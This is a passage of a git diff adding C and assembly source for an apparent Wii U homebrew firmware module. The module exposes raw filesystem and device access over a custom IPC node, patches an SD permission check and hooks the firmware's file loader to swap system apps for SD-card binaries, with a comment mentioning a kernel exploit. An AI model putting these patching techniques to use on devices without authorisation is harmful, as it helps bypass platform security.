message->ioctl.buffer_in[1]; + int type = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_OPENDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEDIR: + { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); + break; + } + case IOCTL_FSA_MAKEDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); + break; + } + case IOCTL_FSA_OPENFILE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_WRITEFILE: + { + int fd = message->ioctl.buffer_in[0]; + u32 size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + u32 flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_STATFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEFILE: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); + break; + } + case IOCTL_FSA_SETFILEPOS: + { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + u32 position = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); + break; + } + case IOCTL_FSA_GETSTAT: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_REMOVE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_Remove(fd, path); + break; + } + case IOCTL_FSA_REWINDDIR: + { + int fd = message->ioctl.buffer_in[0]; + int dirFd = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); + break; + } + case IOCTL_FSA_CHDIR: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); + break; + } + case IOCTL_FSA_RAW_OPEN: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_RAW_READ: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_WRITE: + { + int fd = message->ioctl.buffer_in[0]; + u32 block_size = message->ioctl.buffer_in[1]; + u32 cnt = message->ioctl.buffer_in[2]; + u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + int deviceHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); + break; + } + case IOCTL_FSA_CHANGEMODE: + { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int mode = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); + break; + } + default: + res = IOS_ERROR_INVALID_ARG; + break; + } + + return res; +} + +static int ipc_thread(void *arg) +{ + int res; + ipcmessage *message; + u32 messageQueue[0x10]; + + int queueId = svcCreateMessageQueue(messageQueue, sizeof(messageQueue) / 4); + + if(svcRegisterResourceManager("/dev/iosuhax", queueId) == 0) + { + while(!ipcNodeKilled) + { + res = svcReceiveMessage(queueId, &message, 0); + if(res < 0) + { + usleep(10000); + continue; + } + + switch(message->command) + { + case IOS_OPEN: + { + log_printf("IOS_OPEN\n"); + res = 0; + break; + } + case IOS_CLOSE: + { + log_printf("IOS_CLOSE\n"); + res = 0; + break; + } + case IOS_IOCTL: + { + log_printf("IOS_IOCTL\n"); + res = ipc_ioctl(message); + break; + } + case IOS_IOCTLV: + { + log_printf("IOS_IOCTLV\n"); + res = 0; + break; + } + default: + { + log_printf("unexpected command 0x%X\n", message->command); + res = IOS_ERROR_UNKNOWN_VALUE; + break; + } + } + + svcResourceReply(message, res); + } + } + + svcDestroyMessageQueue(queueId); + return 0; +} + +void ipc_init(void) +{ + ipcNodeKilled = 0; + + int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); +} + +void ipc_deinit(void) +{ + int fd = svcOpen("/dev/iosuhax", 0); + if(fd >= 0) + { + int dummy = 0; + svcIoctl(fd, IOCTL_KILL_SERVER, &dummy, sizeof(dummy), &dummy, sizeof(dummy)); + svcClose(fd); + } + +} diff --git a/source/ios_mcp/source/ipc.h b/source/ios_mcp/source/ipc.h new file mode 100644 index 0000000..72cf8be --- /dev/null +++ b/source/ios_mcp/source/ipc.h @@ -0,0 +1,7 @@ +#ifndef _IPC_H_ +#define _IPC_H_ + +void ipc_init(); +void ipc_deinit(); + +#endif diff --git a/source/ios_mcp/source/ipc_types.h b/source/ios_mcp/source/ipc_types.h new file mode 100644 index 0000000..22e14ff --- /dev/null +++ b/source/ios_mcp/source/ipc_types.h @@ -0,0 +1,83 @@ +#ifndef _IPC_TYPES_H_ +#define _IPC_TYPES_H_ + +#include "types.h" + +#define IOS_COMMAND_INVALID 0x00 +#define IOS_OPEN 0x01 +#define IOS_CLOSE 0x02 +#define IOS_READ 0x03 +#define IOS_WRITE 0x04 +#define IOS_SEEK 0x05 +#define IOS_IOCTL 0x06 +#define IOS_IOCTLV 0x07 +#define IOS_REPLY 0x08 +#define IOS_IPC_MSG0 0x09 +#define IOS_IPC_MSG1 0x0A +#define IOS_IPC_MSG2 0x0B +#define IOS_SUSPEND 0x0C +#define IOS_RESUME 0x0D +#define IOS_SVCMSG 0x0E + + +/* IPC message */ +typedef struct ipcmessage +{ + u32 command; + u32 result; + u32 fd; + u32 flags; + u32 client_cpu; + u32 client_pid; + u64 client_gid; + u32 server_handle; + + union + { + u32 args[5]; + + struct + { + char *device; + u32 mode; + u32 resultfd; + } open; + + struct + { + void *data; + u32 length; + } read, write; + + struct + { + s32 offset; + s32 origin; + } seek; + + struct + { + u32 command; + + u32 *buffer_in; + u32 length_in; + u32 *buffer_io; + u32 length_io; + } ioctl; + struct _ioctlv + { + u32 command; + + u32 num_in; + u32 num_io; + struct _ioctlv *vector; + } ioctlv; + }; + + u32 prev_command; + u32 prev_fd; + u32 virt0; + u32 virt1; +} __attribute__((packed)) ipcmessage; + +#endif diff --git a/source/ios_mcp/source/logger.c b/source/ios_mcp/source/logger.c new file mode 100644 index 0000000..65e17b4 --- /dev/null +++ b/source/ios_mcp/source/logger.c @@ -0,0 +1,74 @@ +#include +#include +#include "types.h" +#include "imports.h" +#include "socket.h" +#include "logger.h" + +#ifdef LOG_IP +static int log_socket = 0; + +int log_init(unsigned int ipAddress){ + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0){ + return log_socket; + } + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + connect_addr.sin_addr.s_addr = ipAddress; + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + closesocket(log_socket); + log_socket = -1; + } + + return log_socket; +} + +void log_deinit() +{ + if(log_socket >= 0) + { + closesocket(log_socket); + log_socket = -1; + } +} + +static void log_print(const char *str, int len) +{ + if(log_socket < 0) { + return; + } + int ret; + while (len > 0) { + int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet + ret = send(log_socket, str, block, 0); + if(ret < 0) + break; + + len -= ret; + str += ret; + } +} + +void log_printf(const char *format, ...) +{ + if(log_socket < 0) { + return; + } + + va_list args; + va_start(args, format); + + char buffer[0x100]; + + int len = vsnprintf(buffer, sizeof(buffer), format, args); + log_print(buffer, len); + + va_end(args); +} +#endif // DEBUG_LOGGER diff --git a/source/ios_mcp/source/logger.h b/source/ios_mcp/source/logger.h new file mode 100644 index 0000000..37e7c05 --- /dev/null +++ b/source/ios_mcp/source/logger.h @@ -0,0 +1,27 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef LOG_IP +int log_init(unsigned int ip); +void log_deinit(); +void log_printf(const char *format, ...); +#else +#define log_init(x) +#define log_deinit() +#define log_printf(x, ...) +#endif + +#define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \ + log_printf("[%23s]%30s@L%04d: " FMT "",__FILE__,__FUNCTION__, __LINE__, ## ARGS); \ + } while (0) + + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/source/ios_mcp/source/main.c b/source/ios_mcp/source/main.c new file mode 100644 index 0000000..3642d05 --- /dev/null +++ b/source/ios_mcp/source/main.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include "wupserver.h" +#include "ipc.h" +#include "svc.h" +#include "text.h" +#include "../../common/kernel_commands.h" + +static int threadsStarted = 0; + +int _startMainThread(void) +{ + if(threadsStarted == 0) + { + threadsStarted = 1; + + wupserver_init(); + ipc_init(); + } + return 0; +} + +void patch_SD_access_check(void) { + __asm__ volatile( + ".thumb\n" + //clobbered instructions + "add r0, r7, r2\n" + //app.permissions.r2.mask seems to be 0xFFFFFFFFFFFFFFFF for every application + "ldr r1, =0x32\n" + "sub r3, r3, #7\n" + "strb r1, [r3]\n" + //this instruction was also clobbered but we use r1 so we do it after our patch stuff + "movs r1, #0\n" + "bx lr"); +} diff --git a/source/ios_mcp/source/mcp_loadfile.c b/source/ios_mcp/source/mcp_loadfile.c new file mode 100644 index 0000000..2c76b6e --- /dev/null +++ b/source/ios_mcp/source/mcp_loadfile.c @@ -0,0 +1,266 @@ +/* Patch for MCP_LoadFile (ioctl 0x53). + * Also adds a sibling ioctl, 0x64, that allows setting a custom path to a main RPX + * + * Reference for most of the types and whatever: + * https://github.com/exjam/decaf-emu/tree/ios/src/libdecaf/src/ios/mcp + * + * This is a proof of concept, and shouldn't be used until it's cleaned up a bit. + * Co-authored by exjam, Maschell and QuarkTheAwesome + * + * Flow of calls: + * - kernel loads system libraries, app rpx or user calls OSDynLoad + * - goes to loader.elf, which will call ioctl 0x53 + * - with fileType = LOAD_FILE_CAFE_OS + * - on failure, again with LOAD_FILE_PROCESS_CODE + * - on failure, again with LOAD_FILE_SYS_DATA_CODE + * - each request routes here where we can do whatever + */ + +#include "logger.h" +#include "ipc_types.h" +#include "../../common/ipc_defs.h" +#include "fsa.h" +#include "svc.h" +#include + +int (*const real_MCP_LoadFile)(ipcmessage* msg) = (void*)0x0501CAA8 + 1; //+1 for thumb +int (*const MCP_DoLoadFile)(const char* path, const char* path2, void* outputBuffer, uint32_t outLength, uint32_t pos, int* bytesRead, uint32_t unk) = (void*)0x05017248 + 1; +int (*const MCP_UnknownStuff)(const char* path, uint32_t pos, void* outputBuffer, uint32_t outLength, uint32_t outLength2, uint32_t unk) = (void*)0x05014CAC + 1; + +static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * out_buffer, int buffer_len, int pos); +static bool skipPPCSetup = false; +static bool didrpxfirstchunk = false; +static bool doWantReplaceRPX = false; +static bool replace_target_device = 0; +static uint32_t rep_filesize = 0; +static uint32_t rep_fileoffset = 0; +static uint32_t gbl_counter = 0; +static char rpxpath[256]; + +#define log(fmt, ...) log_printf("%s: " fmt, __FUNCTION__, __VA_ARGS__) +#define FAIL_ON(cond, val) \ + if (cond) { \ + log(#cond " (%08X)", val); \ + return -29; \ + } + +int _MCP_LoadFile_patch(ipcmessage* msg) { + + FAIL_ON(!msg->ioctl.buffer_in, 0); + FAIL_ON(msg->ioctl.length_in != 0x12D8, msg->ioctl.length_in); + FAIL_ON(!msg->ioctl.buffer_io, 0); + FAIL_ON(!msg->ioctl.length_io, 0); + + MCPLoadFileRequest* request = (MCPLoadFileRequest*)msg->ioctl.buffer_in; + + //dumpHex(request, sizeof(MCPLoadFileRequest)); + //DEBUG_FUNCTION_LINE("msg->ioctl.buffer_io = %p, msg->ioctl.length_io = 0x%X\n", msg->ioctl.buffer_io, msg->ioctl.length_io); + //DEBUG_FUNCTION_LINE("request->type = %d, request->pos = %d, request->name = \"%s\"\n", request->type, request->pos, request->name); + + int replace_target = replace_target_device; + int replace_filesize = rep_filesize; + int replace_fileoffset = rep_fileoffset; + char * replace_path = rpxpath; + + skipPPCSetup = true; + + if(strncmp(request->name, "men.rpx", strlen("men.rpx")) == 0) { + //replace_path = "wiiu/root.rpx"; + if(skipPPCSetup){ + replace_path = "wiiu/men.rpx"; + } + // At startup we want to hook into the Wii U Menu by replacing the men.rpx with a file from the SD Card + // The replacement may restart the application to execute a kernel exploit. + // The men.rpx is hooked until the "IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED" command is passed to IOCTL 0x100. + // If the loading of the replacement file fails, the Wii U Menu is loaded normally. + replace_target = LOAD_FILE_TARGET_SD_CARD; + + + int result = MCP_LoadCustomFile(replace_target, replace_path, 0, 0, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos); + + if (result >= 0) { + return result; + } else { + // on error don't try it again. + skipPPCSetup = true; + } + } else if(strncmp(request->name, "safe.rpx", strlen("safe.rpx")) == 0) { + if (request->pos == 0) { + didrpxfirstchunk = false; + } + + // if we don't explicitly replace files, we do want replace the Healt and Safety app with the HBL + if(!doWantReplaceRPX) { + replace_path = "wiiu/apps/homebrew_launcher/homebrew_launcher.rpx"; + replace_target = LOAD_FILE_TARGET_SD_CARD; + //doWantReplaceXML = false; + doWantReplaceRPX = true; + replace_filesize = 0; // unknown + replace_fileoffset = 0; + } + } + + if(replace_path != NULL && strlen(replace_path) > 0) { + if (!didrpxfirstchunk || request->pos > 0) { + doWantReplaceRPX = false; // Only replace it once. + int result = MCP_LoadCustomFile(replace_target, replace_path, replace_filesize, replace_fileoffset, msg->ioctl.buffer_io, msg->ioctl.length_io, request->pos); + + if (result >= 0) { + if (request->pos == 0) { + didrpxfirstchunk = true; + } + return result; + } else { + // TODO, what happens if we already replaced the app/cos xml files and then the loading fails? + } + } + } + + return real_MCP_LoadFile(msg); +} + + +// Set filesize to 0 if unknown. +static int MCP_LoadCustomFile(int target, char* path, int filesize, int fileoffset, void * buffer_out, int buffer_len, int pos) { + if(path == NULL) { + return 0; + } + + + char filepath[256]; + memset(filepath,0,sizeof(filepath)); + strncpy(filepath, path, sizeof(filepath) -1); + + if(target == LOAD_FILE_TARGET_SD_CARD) { + char mountpath[] = "/vol/storage_iosu_homebrew"; + int fsa_h = svcOpen("/dev/fsa", 0); + FSA_Mount(fsa_h, "/dev/sdcard01", mountpath, 2, NULL, 0); + svcClose(fsa_h); + strncpy(filepath,mountpath,sizeof(filepath) -1); + strncat(filepath,"/",(sizeof(filepath) - 1) - strlen(filepath)); + strncat(filepath,path,(sizeof(filepath) - 1) - strlen(filepath)); + } + + + DEBUG_FUNCTION_LINE("Load custom path \"%s\"\n", filepath); + + if(filesize > 0 && (pos + fileoffset > filesize)) { + return 0; + } + + /* TODO: If this fails, try last argument as 1 */ + int bytesRead = 0; + int result = MCP_DoLoadFile(filepath, NULL, buffer_out, buffer_len, pos + fileoffset, &bytesRead, 0); + //log("MCP_DoLoadFile returned %d, bytesRead = %d pos %d \n", result, bytesRead, pos + fileoffset); + + + if (result >= 0) { + if (!bytesRead) { + return 0; + } + + /* TODO: If this fails, try last argument as 1 */ + result = MCP_UnknownStuff(filepath, pos + fileoffset, buffer_out, buffer_len, buffer_len, 0); + //log("MCP_UnknownStuff returned %d\n", result); + + if (result >= 0) { + if(filesize > 0 && (bytesRead + pos > filesize)) { + return filesize - pos; + } + return bytesRead; + } + } + return result; +} + + +/* RPX replacement! Call this ioctl to replace the next loaded RPX with an arbitrary path. + DO NOT RETURN 0, this affects the codepaths back in the IOSU code */ +int _MCP_ioctl100_patch(ipcmessage* msg) { + /* Give some method to detect this ioctl's prescence, even if the other args are bad */ + if (msg->ioctl.buffer_io && msg->ioctl.length_io >= sizeof(u32)) { + *(u32*)msg->ioctl.buffer_io = 1; + } + + FAIL_ON(!msg->ioctl.buffer_in, 0); + FAIL_ON(!msg->ioctl.length_in, 0); + + if(msg->ioctl.buffer_in && msg->ioctl.length_in >= 4) { + int command = msg->ioctl.buffer_in[0]; + + switch(command) { + case IPC_CUSTOM_LOG_STRING: { + //DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOG_STRING\n"); + if(msg->ioctl.length_in > 4) { + char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x04 / 0x04]; + str_ptr[msg->ioctl.length_in - 0x04 - 1] = 0; + log_printf("%s",str_ptr); + } + return 1; + } + case IPC_CUSTOM_META_XML_SWAP_REQUIRED: { + //DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_SWAP_REQUIRED\n"); + /*if(doWantReplaceXML) { + msg->ioctl.buffer_io[0] = 10; + } else { + msg->ioctl.buffer_io[0] = 11; + } + return 1;*/ + } + case IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED: { + DEBUG_FUNCTION_LINE("IPC_CUSTOM_MEN_RPX_HOOK_COMPLETED\n"); + skipPPCSetup = true; + return 1; + } + /* + case IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER: { + DEBUG_FUNCTION_LINE("IPC_CUSTOM_GET_AND_INCR_GBL_COUNTER\n"); + gbl_counter++; + if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) { + + return 1; + }*/ + case IPC_CUSTOM_META_XML_READ: { + if(msg->ioctl.length_io >= sizeof(ACPMetaXml)) { + DEBUG_FUNCTION_LINE("IPC_CUSTOM_META_XML_READ\n"); + ACPMetaXml * app_ptr = (ACPMetaXml*) msg->ioctl.buffer_io; + strncpy(app_ptr->longname_en, rpxpath, 256 - 1); + strncpy(app_ptr->shortname_en, rpxpath, 256 - 1); + } + return 1; + } + case IPC_CUSTOM_LOAD_CUSTOM_RPX: { + DEBUG_FUNCTION_LINE("IPC_CUSTOM_LOAD_CUSTOM_RPX\n"); + + if(msg->ioctl.length_in >= 0x110) { + int target = msg->ioctl.buffer_in[0x04/0x04]; + int filesize = msg->ioctl.buffer_in[0x08/0x04]; + int fileoffset = msg->ioctl.buffer_in[0x0C/0x04]; + char * str_ptr = (char * ) &msg->ioctl.buffer_in[0x10 / 0x04]; + memset(rpxpath,0,sizeof(rpxpath)); + + strncpy(rpxpath, str_ptr, 256 - 1); + + rep_filesize = filesize; + rep_fileoffset = fileoffset; + didrpxfirstchunk = false; + doWantReplaceRPX = true; + //doWantReplaceXML = true; + + DEBUG_FUNCTION_LINE("Will load %s for next title from target: %d (offset %d, filesize %d)\n", rpxpath, target,rep_fileoffset,rep_filesize); + } + return 1; + } + default: { + } + } + } else { + return -29; + } + + /* Signal that all went well */ + if (msg->ioctl.buffer_io && msg->ioctl.length_io >= sizeof(u32)) { + msg->ioctl.buffer_io[0] = 2; + } + return 1; +} diff --git a/source/ios_mcp/source/mcp_loadfile_asm.s b/source/ios_mcp/source/mcp_loadfile_asm.s new file mode 100644 index 0000000..9593533 --- /dev/null +++ b/source/ios_mcp/source/mcp_loadfile_asm.s @@ -0,0 +1,20 @@ +.extern _MCP_LoadFile_patch +.global MCP_LoadFile_patch +MCP_LoadFile_patch: + .thumb + bx pc + nop + .arm + ldr r12, =_MCP_LoadFile_patch + bx r12 + +.extern _MCP_ioctl100_patch +.global MCP_ioctl100_patch +MCP_ioctl100_patch: + .thumb + ldr r0, [r7,#0xC] + bx pc + nop + .arm + ldr r12, =_MCP_ioctl100_patch + bx r12 diff --git a/source/ios_mcp/source/net_ifmgr_ncl.c b/source/ios_mcp/source/net_ifmgr_ncl.c new file mode 100644 index 0000000..9670542 --- /dev/null +++ b/source/ios_mcp/source/net_ifmgr_ncl.c @@ -0,0 +1,63 @@ +#include +#include +#include "net_ifmgr_ncl.h" +#include "imports.h" +#include "svc.h" + +static int ifmgrncl_handle = 0; + +int ifmgrnclInit() +{ + if(ifmgrncl_handle) return ifmgrncl_handle; + + int ret = svcOpen("/dev/net/ifmgr/ncl", 0); + + if(ret > 0) + { + ifmgrncl_handle = ret; + return ifmgrncl_handle; + } + + return ret; +} + +int ifmgrnclExit() +{ + int ret = svcClose(ifmgrncl_handle); + + ifmgrncl_handle = 0; + + return ret; +} + +static void* allocIobuf(u32 size) +{ + void* ptr = svcAlloc(0xCAFF, size); + + if(ptr) memset(ptr, 0x00, size); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status) +{ + u8* iobuf1 = allocIobuf(0x2); + u16* inbuf = (u16*)iobuf1; + u8* iobuf2 = allocIobuf(0x8); + u16* outbuf = (u16*)iobuf2; + + inbuf[0] = interface_id; + + int ret = svcIoctl(ifmgrncl_handle, 0x14, inbuf, 0x2, outbuf, 0x8); + + if(!ret && out_status) *out_status = outbuf[2]; + + freeIobuf(iobuf1); + freeIobuf(iobuf2); + return ret; +} diff --git a/source/ios_mcp/source/net_ifmgr_ncl.h b/source/ios_mcp/source/net_ifmgr_ncl.h new file mode 100644 index 0000000..54a4f6b --- /dev/null +++ b/source/ios_mcp/source/net_ifmgr_ncl.h @@ -0,0 +1,11 @@ +#ifndef NET_IFMGR_NCL +#define NET_IFMGR_NCL + +#include "types.h" + +int ifmgrnclInit(); +int ifmgrnclExit(); + +int IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status); + +#endif diff --git a/source/ios_mcp/source/socket.c b/source/ios_mcp/source/socket.c new file mode 100644 index 0000000..13b2c78 --- /dev/null +++ b/source/ios_mcp/source/socket.c @@ -0,0 +1,229 @@ +#include +#include +#include +#include "socket.h" +#include "svc.h" +#include "text.h" +#include "imports.h" + +static int socket_handle = 0; + +int socketInit() +{ + if(socket_handle) return socket_handle; + + int ret = svcOpen("/dev/socket", 0); + + if(ret > 0) + { + socket_handle = ret; + return socket_handle; + } + + return ret; +} + +int socketExit() +{ + int ret = svcClose(socket_handle); + + socket_handle = 0; + + return ret; +} + +static void* allocIobuf(u32 size) +{ + void* ptr = svcAlloc(0xCAFF, size); + + if(ptr) memset(ptr, 0x00, size); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int socket(int domain, int type, int protocol) +{ + u8* iobuf = allocIobuf(0xC); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = domain; + inbuf[1] = type; + inbuf[2] = protocol; + + int ret = svcIoctl(socket_handle, 0x11, inbuf, 0xC, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int closesocket(int sockfd) +{ + u8* iobuf = allocIobuf(0x4); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + + int ret = svcIoctl(socket_handle, 0x3, inbuf, 0x4, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) +{ + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)inbuf; + + inbuf[0] = sockfd; + + int ret = -1; + + if(addr && addrlen && *addrlen == 0x10) + { + inbuf[5] = *addrlen; + + ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18); + + if(ret >= 0) + { + memcpy(addr, &outbuf[1], outbuf[5]); + *addrlen = outbuf[5]; + } + }else{ + inbuf[5] = 0x10; + + ret = svcIoctl(socket_handle, 0x1, inbuf, 0x18, outbuf, 0x18); + } + + freeIobuf(iobuf); + return ret; +} + +int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if(addrlen != 0x10) return -1; + + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + memcpy(&inbuf[1], addr, addrlen); + inbuf[5] = addrlen; + + int ret = svcIoctl(socket_handle, 0x2, inbuf, 0x18, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) +{ + if(addrlen != 0x10) return -1; + + u8* iobuf = allocIobuf(0x18); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + memcpy(&inbuf[1], addr, addrlen); + inbuf[5] = addrlen; + + int ret = svcIoctl(socket_handle, 0x4, inbuf, 0x18, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int listen(int sockfd, int backlog) +{ + u8* iobuf = allocIobuf(0x8); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + inbuf[1] = backlog; + + int ret = svcIoctl(socket_handle, 0xA, inbuf, 0x8, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int shutdown(int sockfd, int how) +{ + u8* iobuf = allocIobuf(0x8); + u32* inbuf = (u32*)iobuf; + + inbuf[0] = sockfd; + inbuf[1] = how; + + int ret = svcIoctl(socket_handle, 0x10, inbuf, 0x8, NULL, 0); + + freeIobuf(iobuf); + return ret; +} + +int recv(int sockfd, void *buf, size_t len, int flags) +{ + if(!len) return -101; + + // TODO : size checks, split up data into multiple vectors if necessary + void* data_buf = svcAllocAlign(0xCAFF, len, 0x40); + if(!data_buf) return -100; + + u8* iobuf = allocIobuf(0x38); + iovec_s* iovec = (iovec_s*)iobuf; + u32* inbuf = (u32*)&iobuf[0x30]; + + inbuf[0] = sockfd; + inbuf[1] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x8; + iovec[1].ptr = (void*)data_buf; + iovec[1].len = len; + + int ret = svcIoctlv(socket_handle, 0xC, 1, 3, iovec); + + if(ret > 0 && buf) + { + memcpy(buf, data_buf, ret); + } + + freeIobuf(data_buf); + freeIobuf(iobuf); + return ret; +} + +int send(int sockfd, const void *buf, size_t len, int flags) +{ + if(!buf || !len) return -101; + + // TODO : size checks, split up data into multiple vectors if necessary + void* data_buf = svcAllocAlign(0xCAFF, len, 0x40); + if(!data_buf) return -100; + + u8* iobuf = allocIobuf(0x38); + iovec_s* iovec = (iovec_s*)iobuf; + u32* inbuf = (u32*)&iobuf[0x30]; + + memcpy(data_buf, buf, len); + + inbuf[0] = sockfd; + inbuf[1] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x8; + iovec[1].ptr = (void*)data_buf; + iovec[1].len = len; + + int ret = svcIoctlv(socket_handle, 0xE, 4, 0, iovec); + + freeIobuf(data_buf); + freeIobuf(iobuf); + return ret; +} diff --git a/source/ios_mcp/source/socket.h b/source/ios_mcp/source/socket.h new file mode 100644 index 0000000..76d32eb --- /dev/null +++ b/source/ios_mcp/source/socket.h @@ -0,0 +1,131 @@ +#ifndef SOCKET_H +#define SOCKET_H + +// slightly stolen from ctrulib +#include +#include + +#define SOL_SOCKET 0xFFFF + +#define PF_UNSPEC 0 +#define PF_INET 2 +#define PF_INET6 10 + +#define AF_UNSPEC PF_UNSPEC +#define AF_INET PF_INET +#define 